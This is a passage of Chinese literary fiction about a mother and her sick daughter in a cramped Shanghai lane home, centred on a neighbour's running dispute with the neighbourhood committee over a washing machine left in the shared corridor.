    又是小半天的工夫,下水管改造好,那台老旧的“水仙”牌单缸洗衣机,被安置在了朝南的阳台上。阳光透过玻璃晒着洗衣机外壳,也晒着旁边晾衣杆上悠悠的小衣服。西贝看着亮堂的阳台和整齐的卫生间,心里涌起一股久违的、对生活微微掌控的踏实感。

    “谢谢,真的谢谢侬,小汪。”她真心实意地道谢,想留他吃饭。

    汪劲松摆摆手,利落地收拾工具:“小事体,别客气。邻里邻居,同事之间,互相帮忙应该的。我走了,有事体再喊我。”他走得干脆,背影还是当年那个退伍兵的挺拔。

    这小小的改造,在邻里间引起了不小的羡慕。特别是隔壁同样住一室户的刘家阿嫂,看着西贝家阳台上的洗衣机,眼热得不行:“喔唷,西贝,侬屋里厢弄得来灵光!洗衣机摆阳台,又清爽又方便!是阿拉英嵘弄的啊?手真巧!”

    西贝笑笑:“是厂里同事帮忙弄的。”

    “哎哟,有技术的师傅就是好!”刘家阿嫂回家就跟自己男人闹,也想把洗衣机挪出去。可她男人是公交司机,不懂这些,请人又要花钱,只好作罢。但刘家阿嫂实在觉得洗衣机放屋里占地方,趁居委会不注意,偷偷把洗衣机推到了公共走廊的角落里。

    没过两天,居委会负责卫生的孟阿姨就找上门了,指着走廊的洗衣机,板着脸:“刘家阿嫂,跟侬讲过多少趟了?公共走廊不好堆放杂物,影响通行,不美观,还有消防安全隐患!快点搬回去!”

    刘家阿嫂赔着笑:“孟阿姨,就放两天,屋里厢实在转不开身……”

    “一天都不行!今朝必须搬掉!不然我叫房管所的人来搬了!”孟阿姨态度坚决。

    刘家阿嫂只好悻悻地把洗衣机挪回屋。可孟阿姨前脚走,后脚她看着逼仄的房间,心里那口气不顺,第二天,瞅着没人注意,又把洗衣机悄悄推回了走廊老位置。于是,这场“游击战”就成了弄堂里时常上演的戏码:居委会来查,搬回去;查过了,推出来。洗衣机像个沉默的桩子,杵在公共走廊,昭示着家家户户在有限空间里挣扎求存的那点无奈和狡黠。

    西贝有时下班看到走廊里那台孤零零的洗衣机,会轻轻叹口气。她理解刘家阿嫂的不易,也明白居委会的难处。生活就是这样,在螺蛳壳里做道场,每个人都想为自己、为家人,多挣得一丝舒适的缝隙。而她能做的,不过是把自己的“道场”,尽力收拾得整齐些,温暖些,让放学归来的女儿,能在这个拥挤但洁净的小窝里,喘一口气,做一个不那么难受的梦。

    日子,就在悠悠时好时坏的咳嗽声、体育课的旁观与“拍牌王”的短暂高光、西敏日益膨胀的消费欲和“老板娘”幻想、西桦为接回女儿在北京的奋力拼搏、以及弄堂里关于空间与琐碎的日常硝烟中,不紧不慢地流淌。窗外的梧桐,黄了又绿,绿了又黄。甘悠在门卫室等待的无数个黄昏,夕阳把她的影子拉长,又缩短,默默记录着一个孩子与疾病相伴的、坚韧的、充满了被忽略的失落与微小欢愉的童年。而在城市的另一个角落,她的小姨西敏,正对着一份不知从哪里弄来的简易“商业计划书”,描画着“海上明珠”的辉煌未来;她的姨妈西桦,则在千里之外的北京,为女儿的未来争取着一寸寸向上的空间。至于表姐韩璐,已然在母亲用金钱堆砌的宠爱里,早早嗅到了物质带来的甜美与权力;而表弟西召,还在懵懂中探索着这个对他而言充满惊奇(有时是惊悚)的世界。

    每个人都在自己的轨道上,被时代的潮水推着,被家庭的经纬缠着,奔向各自或清晰或迷茫、或沉重或轻飘的前路。西贝紧紧牵着女儿微凉的手,走在回“体育馆”二楼那个小小家的路上。暮色四合,弄堂里的灯火渐次亮起,炒菜声、呼唤声、自行车铃声交织成一片温暖的嘈杂。这平常的人间烟火,对西贝母女而言,是历经艰难才能拥有的、必须用尽全力去守护的安宁。她知道,属于她们的“好日子”,从来不在那繁华的“海上明珠”里,也不在那遥远的京城楼宇中,而就在这掌心里牢牢握着的、此刻平稳的呼吸,和前方那扇即将被钥匙打开的、属于她们自己的、虽然狭小却可遮蔽风雨的门后。